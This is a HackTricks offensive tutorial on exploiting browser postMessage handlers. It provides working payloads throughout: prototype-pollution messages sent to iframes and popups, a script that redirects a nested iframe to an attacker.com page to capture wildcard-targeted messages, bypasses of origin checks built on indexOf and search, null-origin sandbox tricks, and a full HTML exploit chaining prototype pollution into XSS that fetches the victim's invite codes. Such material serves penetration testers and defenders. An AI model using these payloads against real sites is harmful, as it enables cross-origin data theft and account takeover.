Support HackTricks and get benefits!
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks github repo.
PostMessage uses the following function to send a message:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Note that targetOrigin can be a '*' or an URL like https://company.com.
In the second scenario, the message can only be sent to that domain (even if the origin of the window object is different).
If the wildcard is used, messages could be sent to any domain, and will be sent to the origin of the Window object.
As explained in this report if you find a page that can be iframed (no X-Frame-Header
protection) and that is sending sensitive message via postMessage using a wildcard (*), you can modify the origin of the iframe and leak the sensitive message to a domain controlled by you.
Note that if the page can be iframed but the targetOrigin is set to a URL and not to a wildcard, this trick won't work.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener
is the function used by JS to declare the function that is expecting postMessages
.
A code similar to the following one will be used:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).
In order to find event listeners in the current page you can:
- Search the JS code for
window.addEventListener
and$(window).on
(JQuery version) - Execute in the developer tools console:
getEventListeners(window)
- Go to Elements --> Event Listeners in the developer tools of the browser
- Use a browser extension like https://github.com/benso-io/posta or https://github.com/fransr/postMessage-tracker. This browser extensions will intercept all the messages and show them to you.
- If
indexOf()
is used to check the origin of the PostMessage event, remember that it can be easily bypassed like in the following example:("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
\ - If
search()
is used to validate the origin could be insecure. According to the docs ofString.prototype.search()
, the method takes a regular repression object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.
In regular expression, a dot (.) is treated as a wildcard. An attacker can take advantage of it and use a special domain instead of the official one to bypass the validation, like in:"https://www.safedomain.com".search("www.s.fedomain.com")
.\ - If
escapeHtml
function is used, the function does not create anew
escaped object, instead it overwrites properties of the existing object. This means that if we are able to create an object with a controlled property that does not respond tohasOwnProperty
it will not be escaped.
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
File
object is perfect for this exploit as it has a read-only name
property which is used by our template and will bypass escapeHtml
function.
When a page is embedded in a sandboxed iframe via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
the origin of that iframe will be null
.
When the sandbox value allow-popups
is set then the opened popup will inherit all the sandboxed attributes unless allow-popups-to-escape-sandbox
is set.
So, opening a popup from a null origin will make window.origin
inside the popup also null
.
Therefore, if you open a sandboxed iframe allowing popups, and then you opens a popup from inside the iframe, and send a postMessage from the iframe to the popup, both origins are null so: e.origin == window.origin == null
For more information read:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
You can force e.source
of a message to be null by creating an iframe that sends the postMessage and is immediately deleted.
For more information read:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
In order to perform these attacks ideally you will be able to put the victim web page inside an iframe
. But some headers like X-Frame-Header
can prevent that behaviour.
In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
In the following page you can see how you could steal a sensitive postmessage data sent to a child iframe by blocking the main page before sending the data and abusing a XSS in the child to leak the data before it's received:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
if you can iframe a webpage without X-Frame-Header that contains another iframe, you can change the location of that child iframe, so if it's receiving a postmessage sent using a wildcard, an attacker could change that iframe origin to a page controlled by him and steal the message:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
In scenarios where the data sent through postMessage
is executed by JS, you can iframe the page and exploit the prototype pollution/XSS sending the exploit via postMessage
.
A couple of very good explained XSS though postMessage
can be found in https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Example of an exploit to abuse Prototype Pollution and then XSS through a postMessage
to an iframe
:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
For more information:
- Link to page about prototype pollution
- Link to page about XSS
- Link to page about client side prototype pollution to XSS
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- To practice: https://github.com/yavolo/eventlistener-xss-recon
Support HackTricks and get benefits!
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks github repo.